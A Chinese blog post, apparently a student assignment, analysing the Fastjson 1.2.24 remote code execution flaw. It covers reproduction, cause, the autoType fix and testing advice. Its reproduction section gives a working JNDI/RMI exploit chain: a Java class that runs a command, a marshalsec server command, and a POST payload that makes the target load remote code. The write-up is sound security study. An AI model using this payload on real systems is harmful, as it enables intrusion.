2021SC@SDUSC
前面的文章中已经分析了Fastjson反序列化的相关代码,涉及的方面很多、覆盖面也很全。可以看到,Fastjson是一款非常好的Json字符串反序列化工具,高效、简洁、无依赖、可定制。然而,高效的Json解析也给它带来了风险,最大的问题莫过于几年前爆出的1.2.24版本的远程代码执行漏洞,该漏洞现在已经修复,本篇文章将分析这个漏洞产生的原因,复现方式以及解决方案,还尝试从工具开发者的角度探讨如何避免此类漏洞的发生。

目录

  • 漏洞复现
  • 产生原因
    • 技术背景
    • 代码分析
  • 解决方案
  • 如何避免此类问题发生

漏洞复现

我们尝试让远程主机在它的/tmp目录下创建一个success文件,过程如下:
先写一个恶意Java类,该类的静态代码区中创建一个文件/tmp/success,代码如下

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

我们把这个类编译,将生成的TouchFile.class文件放到局域网中某个地址的www目录下,访问该地址即可下载文件。

然后我们再启动一个RMI服务器,监听指定端口,定制加载远程类TouchFile.class
mvn clean package -DskipTests
编译项目

会生成以下这个文件

执行以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999

最后一步,抓包并执行我们准备好的poc:

POST / HTTP/1.1
Host: 192.168.99.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.99.121:9999/TouchFile","autoCommit":true}
}

再看看服务端的结果:

显然,成功执行了远程代码并且生产了success文件。

产生原因

技术背景

JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:

提供一个默认的无参构造函数。

需要被序列化并且实现了 Serializable 接口。

可能有一系列可读写属性。

可能有一系列的 getter 或 setter 方法。

代码分析

Fastjson通过parseObject方法解析传入的json数据。
调用DefaultJSONParser缺省方法对json格式数据进行解析。

在方法的参数中,调用ParserConfig.getGlobalInstance()方法获取ParserConfig类中的初始配置,其中黑名单(denyList)也在此类中进行配置。

调用addDeny方法循环添加denyList数组中的黑名单。
回到DefaultJSONParser方法,初始化结束后,调用JSONScanner方法对传入的json字符串设置读取位置,判断过程中处理Unicode字符集的BOM标识。回到DefaultJSONParser方法,为token赋值。

回到JSON入口类,获取到DefaultJSONParser类型对象,调用parse()方法进行解析。

调用scanSymbol方法,以双引号作为quote变量值,进行@typejson字段值的value读取。

再调用JavaBeanDeserializer#parseRest方法,通过token值进入对应的代码块,从生成的sortedFieldDeserializers反序列化器中取出field反序列化器,并从取出属性值。
在RegistryImpl_Stub#lookup方法中,调用ref.newCall方法获取基于ref的RemoteCall类型的远程调用对象。并将访问远程rmi服务上的类名进行序列化,调用invoke方法传给远程服务。

之后将从远程获取的序列化数据进行反序列化,执行恶意序列化中的恶意命令。

解决方案

由于本漏洞是利用了Fastjson自带的Autotype属性,而Fastjson的设计者已经提供了关闭该服务的接口,我们只需要执行以下配置:

parserConfig.autoType.close();

即可让该漏洞无法复现

如何避免此类问题发生

作为程序的开发者,我们不仅要仔细完成编码工作,解决程序的功能需求和性能需求,更重要的是我们要对自己编写的程序进行测试。对于此类问题,我们既要完成单元测试——测试各个模块是否能独立工作,也要完成集成测试——测试各个模块能否共同作用完成相关功能。最后,不忘系统测试,这里介绍一种方法——黑盒测试法。我们可以把自己写的程序看作是一个黑盒,只关系我们程序的输入和输出,而先忽略其内部结构。然后等价划分多个测试用例,每个测试用例代表一类测试方案,其中既有合法输入也有非法输入,我们观测程序的输出结果,与我们的预期结果相比对。这样就能够快速发现我们程序中存在的漏洞。

Fastjson源码分析—1.2.24漏洞分析相关推荐

  1. 分析开源项目源码,我们该如何入手分析?(授人以渔)

    点击上方 好好学java ,选择 星标 公众号 重磅资讯.干货,第一时间送达 今日推荐:牛人 20000 字的 Spring Cloud 总结,太硬核了~ 1 前言 本文接上篇文章跟大家聊聊我们为什么 ...

  2. 源码安装mariadb10.4.24

    redhat8源码安装mariadb10.4.24 下载源码包 官网地址:https://dlm.mariadb.com 解包 tar -zxvf mariadb-10.4.24.tar -C /us ...

  3. (01)ORB-SLAM2源码无死角解析-(24) 单目SFM地图初始化→CreateInitialMapMonocular()-细节分析:尺度不确定性

    讲解关于slam一系列文章汇总链接:史上最全slam从零开始,针对于本栏目讲解的(01)ORB-SLAM2源码无死角解析链接如下(本文内容来自计算机视觉life ORB-SLAM2 课程课件): (0 ...

  4. (附源码)springboot停车场车辆定位管理可视化分析系统的设计与实现 毕业设计101702

    Springboot停车场车辆定位管理可视化分析系统 摘 要 21世纪时信息化的时代,几乎任何一个行业都离不开计算机,将计算机运用于停车场车辆定位管理也是十分常见的.过去使用手工的管理方式,造成了管理 ...

  5. java中的mod运算_Java源码中Integer类位运算分析

    在这里对源码中Integer的部分位运算方法做一个分析解读.同理,可以比较一下其他Number的子类,对位运算部分的设计和性能有一个理解. 在java中,Integer是int类型的包装类型,占4个字 ...

  6. 人工智能情感分析源码,垃圾短信邮箱分析

    分享一个机器学习文本分类项目的案例,该分类项目是一个通用的文本分类项目,这里的数据集我酒店用户评价数据,分类模型为二分类,正面评价和负面评价,这里所说的通用,就是你可以根据你自己的数据,进行train ...

  7. 【NDPI】源码解析之深度包检测分析(一)

    (Albert.2019.4.28) 文章目录: 前言: 正文: 一.nDPI深度包检测流程: 二.重要结构体的源码分析 1.ndpi_ethdr.ndpi_iphdr.ndpi_tcphdr.ndp ...

  8. (附源码)ssm大学生时间管理分析系统设计与实现 毕业设计130930

    摘 要 时间是一种无形资源,但可以对其进行有效的使用与管理.时间管理倾向是个体在运用时间方式上所表现出来的心理和行为特征,具有多维度.多层次的心理结构,由时间价值感.时间监控观和时间效能感构成.时间是 ...

  9. oracle dump 源码,AIX 下的 core dump 分析入门

    AIX 下的 core dump 分析入门 (), 工程师, IBM 作者毕业于中国科学技术大学,目前任职于 IBM,主要方向为 AIX 平台移植.性能优化.问题定位等. 简介: 本文简要介绍了 AI ...

最新文章

  1. 算法设计与分析 1 递推与递归
  2. 小程序开发中云函数的应用
  3. 查看 SAP Kyma 上一个 pod 的运行日志
  4. Python快速构建神经网络
  5. Java安全之数字证书
  6. 【BUG提交】freemarker 使用Struts2标签问题
  7. ModelSim之命令行仿真入门
  8. 【网络安全】单选/多选/判断/填空题
  9. 我对onselect和onchange事件的误解
  10. aws saa考试费用是多少?aws saa考试准备多久才能考试?
  11. 双球坐标系_【天文】教你认识三大天球坐标系!(上)
  12. YARN ACCEPTED: waiting for AM container to be allocated, launched and register with RM.
  13. codewars练习(javascript)-2021/1/25
  14. win11安装wsl2
  15. python实训报告心得体会-Python学习心得体会
  16. 操作系统:磁盘的移臂调度算法
  17. java对文件分片处理
  18. CMake入门教程【核心篇】7.1项目版本号宏
  19. python快速数据分析_收藏 | 10个可以快速用Python进行数据分析的小技巧
  20. Git工具调优--GitFlow

热门文章

  1. 为何溃坝事故频发,大坝安全如何保障?
  2. Adreno Profiler 分析任意安卓游戏特效、抓取资源
  3. Socket原理和Socket函数
  4. artifactIdmybatis-spring-boot-starter/artifactId
  5. 这款 chrome 浏览器插件超级实用
  6. DeFi猎手丨一文读懂DeFi的7种新玩法,实现最大化收益
  7. JS键盘事件获取键盘码
  8. 在程序中添加背景音乐!...
  9. 1584: 【USACO】双数? 单数?
  10. 解决Linux磁盘已满